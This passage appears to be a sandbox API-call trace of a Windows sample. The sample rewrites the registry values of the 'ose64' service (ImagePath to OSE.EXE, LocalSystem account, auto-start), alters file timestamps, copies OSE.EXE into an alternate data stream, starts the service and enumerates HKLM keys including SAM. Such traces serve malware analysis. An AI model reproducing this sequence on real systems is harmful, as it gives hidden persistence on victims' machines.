lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.191] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.191] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.191] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.191] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.191] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.191] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.191] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.191] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.191] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.191] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.191] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.192] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0243.192] RegSetValueExA (in: hKey=0x150, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0243.192] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.192] RegSetValueExA (in: hKey=0x150, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0243.192] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f16e8) returned 1 [0243.192] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.192] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.192] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.192] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.192] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.192] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.192] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.192] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.193] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.193] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.193] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.193] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.193] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.193] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.193] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.193] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0243.193] RegSetValueExA (in: hKey=0x150, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0243.193] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.193] RegSetValueExA (in: hKey=0x150, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="", cbData=0x1 | out: lpData="") returned 0x0 [0243.193] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.194] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.194] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.194] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.194] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.194] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.194] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.194] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.194] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.194] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.194] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.194] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.194] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.194] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.195] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0243.195] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0243.195] ExpandEnvironmentStringsA (in: lpSrc="\"C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE\"", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x48 [0243.195] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2e28 [0243.195] ExpandEnvironmentStringsA (in: lpSrc="\"C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE\"", lpDst=0x21f2e28, nSize=0x48 | out: lpDst="\"C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE\"") returned 0x47 [0243.195] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2da0 [0243.195] RegSetValueExA (in: hKey=0x150, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="\"C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE\"", cbData=0x47 | out: lpData="\"C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE\"") returned 0x0 [0243.195] CommandLineToArgvW (in: lpCmdLine="\"C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE\"", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f03d0*="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE" [0243.195] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d678 [0243.195] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d508 [0243.195] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x100) returned 0x21e4e38 [0243.195] LocalFree (hMem=0x7f03d0) returned 0x0 [0243.195] RegSetValueExA (in: hKey=0x150, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="\"C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE\"", cbData=0x47 | out: lpData="\"C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE\"") returned 0x0 [0243.195] OpenServiceW (hSCManager=0x803918, lpServiceName="ose64", dwDesiredAccess=0x2) returned 0x803990 [0243.196] ChangeServiceConfigW (in: hService=0x803990, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0243.217] CloseServiceHandle (hSCObject=0x803990) returned 1 [0243.218] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0243.218] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d4d8) returned 1 [0243.218] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d630) returned 1 [0243.218] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2e28) returned 1 [0243.218] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d598) returned 1 [0243.218] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d648) returned 1 [0243.218] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.218] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.218] RegCloseKey (hKey=0x150) returned 0x0 [0243.218] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0243.218] RegCloseKey (hKey=0x154) returned 0x0 [0243.218] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0243.218] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0243.218] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfcedc00, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcfcedc00, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x2a968)) returned 1 [0243.219] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0243.219] SetFileTime (hFile=0x154, lpCreationTime=0x0, lpLastAccessTime=0x36f510, lpLastWriteTime=0x36f510) returned 1 [0243.219] GetFileSize (in: hFile=0x154, lpFileSizeHigh=0x36f4fc | out: lpFileSizeHigh=0x36f4fc*=0x0) returned 0x2a968 [0243.219] SetFilePointer (in: hFile=0x154, lDistanceToMove=0, lpDistanceToMoveHigh=0x36f508*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x36f508*=0) returned 0x0 [0243.219] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x2a980) returned 0x21f4ea8 [0243.221] ReadFile (in: hFile=0x154, lpBuffer=0x21f4ea8, nNumberOfBytesToRead=0x2a968, lpNumberOfBytesRead=0x36f53c, lpOverlapped=0x0 | out: lpBuffer=0x21f4ea8*, lpNumberOfBytesRead=0x36f53c*=0x2a968, lpOverlapped=0x0) returned 1 [0243.223] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x2a980) returned 0x2159e98 [0243.229] SetEndOfFile (hFile=0x154) returned 1 [0243.229] GetFileTime (in: hFile=0x154, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550 | out: lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550*(dwLowDateTime=0xcfcedc00, dwHighDateTime=0x1ca911d)) returned 1 [0243.229] FileTimeToSystemTime (in: lpFileTime=0x36f550, lpSystemTime=0x36f57c | out: lpSystemTime=0x36f57c) returned 1 [0243.229] SystemTimeToFileTime (in: lpSystemTime=0x36f57c, lpFileTime=0x36f550 | out: lpFileTime=0x36f550) returned 1 [0243.229] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0243.229] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x100) returned 0x21e4e38 [0243.229] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0243.229] NtClose (Handle=0x154) returned 0x0 [0243.229] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE:0" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe:0"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x252de10, ftCreationTime.dwLowDateTime=0x1, ftCreationTime.dwHighDateTime=0x252e948, ftLastAccessTime.dwLowDateTime=0x36f4f0, ftLastAccessTime.dwHighDateTime=0x90a79c, ftLastWriteTime.dwLowDateTime=0x461bad0a, ftLastWriteTime.dwHighDateTime=0x80, nFileSizeHigh=0x2, nFileSizeLow=0x36f5a4)) returned 0 [0243.229] GetLastError () returned 0x2 [0243.229] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\OSE.EXE:0" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\ose.exe:0"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0243.230] SetFileTime (hFile=0x154, lpCreationTime=0x0, lpLastAccessTime=0x36f510, lpLastWriteTime=0x36f510) returned 1 [0243.230] WriteFile (in: hFile=0x154, lpBuffer=0x2159e98*, nNumberOfBytesToWrite=0x2a968, lpNumberOfBytesWritten=0x36f53c, lpOverlapped=0x0 | out: lpBuffer=0x2159e98*, lpNumberOfBytesWritten=0x36f53c*=0x2a968, lpOverlapped=0x0) returned 1 [0243.233] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21e4e38) returned 1 [0243.233] SetFileTime (hFile=0x154, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x36f550) returned 1 [0243.233] NtClose (Handle=0x154) returned 0x0 [0243.233] OpenServiceW (hSCManager=0x803918, lpServiceName="ose64", dwDesiredAccess=0x10) returned 0x8038a0 [0243.234] StartServiceW (hService=0x8038a0, dwNumServiceArgs=0x0, lpServiceArgVectors=0x0) returned 1 [0243.977] CloseServiceHandle (hSCObject=0x8038a0) returned 1 [0243.977] WaitForSingleObject (hHandle=0x0, dwMilliseconds=0x1388) returned 0xffffffff [0243.977] GetLastError () returned 0x6 [0243.977] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x2159e98) returned 1 [0243.977] CryptAcquireContextW (in: phProv=0x36f510, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x36f510*=0x7f03d0) returned 1 [0243.978] CryptGenRandom (in: hProv=0x7f03d0, dwLen=0x4, pbBuffer=0x36f524 | out: pbBuffer=0x36f524) returned 1 [0243.978] CryptReleaseContext (hProv=0x7f03d0, dwFlags=0x0) returned 1 [0243.978] OpenServiceW (hSCManager=0x803918, lpServiceName="RpcLocator", dwDesiredAccess=0x20) returned 0x803990 [0243.978] ControlService (in: hService=0x803990, dwControl=0x1, lpServiceStatus=0x36f474 | out: lpServiceStatus=0x36f474*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 0 [0243.978] GetLastError () returned 0x425 [0243.978] CloseServiceHandle (hSCObject=0x803990) returned 1 [0243.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1808 [0243.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1898 [0243.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x252e950 [0243.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x280) returned 0x2152850 [0243.979] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0243.979] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0243.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0243.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x21f1df0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0243.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0243.979] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.979] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0243.979] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.979] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0243.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0243.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a00 [0243.979] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0243.979] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.979] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a00) returned 1 [0243.979] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.979] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.979] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0243.980] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.980] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0243.980] RtlAllocateHeap 